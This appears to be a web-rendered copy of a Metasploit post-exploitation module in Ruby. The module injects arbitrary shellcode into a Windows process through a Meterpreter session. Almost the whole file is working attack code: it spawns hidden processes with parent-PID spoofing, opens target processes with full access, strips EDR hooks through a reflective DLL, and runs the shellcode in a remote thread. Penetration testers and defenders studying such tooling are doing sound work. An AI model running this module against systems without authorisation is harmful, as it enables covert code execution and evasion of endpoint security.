Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/manage/shellcode_inject.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::Common
8
include Msf::Post::Windows::Process
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Windows Manage Memory Shellcode Injection Module',
15
'Description' => %q{
16
This module will inject into the memory of a process a specified shellcode.
17
},
18
'License' => MSF_LICENSE,
19
'Author' => [ 'phra <https://iwantmore.pizza>' ],
20
'Platform' => [ 'win' ],
21
'SessionTypes' => [ 'meterpreter' ],
22
'Compat' => {
23
'Meterpreter' => {
24
'Commands' => %w[
25
stdapi_sys_config_getenv
26
stdapi_sys_process_attach
27
stdapi_sys_process_execute
28
stdapi_sys_process_thread_create
29
]
30
}
31
},
32
'Notes' => {
33
'Stability' => [CRASH_SERVICE_DOWN],
34
'SideEffects' => [],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options(
41
[
42
OptPath.new('SHELLCODE', [true, 'Path to the shellcode to execute']),
43
OptInt.new('PID', [false, 'Process Identifier of process to inject the shellcode. (0 = new process)', 0]),
44
OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]),
45
OptBool.new('CHANNELIZED', [true, 'Retrieve output of the process', false]),
46
OptBool.new('INTERACTIVE', [true, 'Interact with the process', false]),
47
OptBool.new('HIDDEN', [true, 'Spawn an hidden process', true]),
48
OptBool.new('AUTOUNHOOK', [true, 'Auto remove EDRs hooks', false]),
49
OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5]),
50
OptEnum.new('BITS', [true, 'Set architecture bits', '64', ['32', '64']])
51
]
52
)
53
end
54
55
def run
56
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
57
print_status("Running module against #{hostname} (#{session.session_host})")
58
59
# Set variables
60
shellcode = File.binread(datastore['SHELLCODE'])
61
pid = datastore['PID']
62
ppid = datastore['PPID']
63
bits = datastore['BITS']
64
if bits == '64'
65
bits = ARCH_X64
66
else
67
bits = ARCH_X86
68
end
69
70
# prelim check
71
if (client.arch == ARCH_X86) && (@payload_arch == ARCH_X64)
72
fail_with(Failure::BadConfig, 'Cannot inject a 64-bit payload into any process on a 32-bit OS')
73
end
74
75
if (datastore['PPID'] != 0) && (datastore['PID'] != 0)
76
print_error('PID and PPID are mutually exclusive')
77
return false
78
end
79
80
# Start Notepad if Required
81
if pid == 0
82
if (ppid != 0) && !has_pid?(ppid)
83
print_error("Process #{ppid} was not found")
84
return false
85
elsif ppid != 0
86
print_status("Spoofing PPID #{ppid}")
87
end
88
89
notepad_pathname = get_notepad_pathname(bits, client.sys.config.getenv('windir'), client.arch)
90
vprint_status("Starting #{notepad_pathname}")
91
proc = client.sys.process.execute(notepad_pathname, nil, {
92
'Hidden' => datastore['HIDDEN'],
93
'Channelized' => datastore['CHANNELIZED'],
94
'Interactive' => datastore['INTERACTIVE'],
95
'ParentPid' => datastore['PPID']
96
})
97
print_status("Spawned Notepad process #{proc.pid}")
98
else
99
if datastore['CHANNELIZED'] && datastore['PID'] != 0
100
fail_with(Failure::BadConfig, "It's not possible to retrieve output when injecting existing processes!")
101
elsif datastore['CHANNELIZED'] && datastore['PPID'] != 0
102
fail_with(Failure::BadConfig, "It's not possible to retrieve output when using PPID spoofing!")
103
end
104
unless has_pid?(pid)
105
print_error("Process #{pid} was not found")
106
return false
107
end
108
begin
109
proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
110
rescue Rex::Post::Meterpreter::RequestError => e
111
print_error(e.to_s)
112
fail_with(Failure::NoAccess, "Failed to open pid #{pid.to_i}")
113
end
114
print_status("Opening existing process #{proc.pid}")
115
end
116
117
# Check
118
if (bits == ARCH_X64) && (client.arch == ARCH_X86)
119
print_error('You are trying to inject to a x64 process from a x86 version of Meterpreter.')
120
print_error('Migrate to an x64 process and try again.')
121
return false
122
end
123
if arch_check(bits, proc.pid)
124
if datastore['AUTOUNHOOK']
125
print_status('Executing unhook')
126
print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...")
127
unless inject_unhook(proc, bits, datastore['WAIT_UNHOOK'])
128
fail_with(Failure::BadConfig, 'Unknown target arch; unable to assign unhook dll')
129
end
130
end
131
begin
132
inject(shellcode, proc)
133
rescue StandardError => e
134
print_error("Failed to inject Payload to #{proc.pid}!")
135
print_error(e.to_s)
136
end
137
else
138
fail_with(Failure::BadConfig, 'Arch mismatch between shellcode and process!')
139
end
140
end
141
142
def inject(shellcode, proc)
143
mem = inject_into_process(proc, shellcode)
144
proc.thread.create(mem, 0)
145
print_good("Successfully injected payload into process: #{proc.pid}")
146
if datastore['INTERACTIVE'] && datastore['CHANNELIZED'] && datastore['PID'] == 0
147
print_status('Interacting')
148
client.console.interact_with_channel(proc.channel)
149
elsif datastore['CHANNELIZED'] && datastore['PID'] == 0
150
print_status('Retrieving output')
151
data = proc.channel.read
152
print_line(data) if data
153
end
154
end
155
end
156
157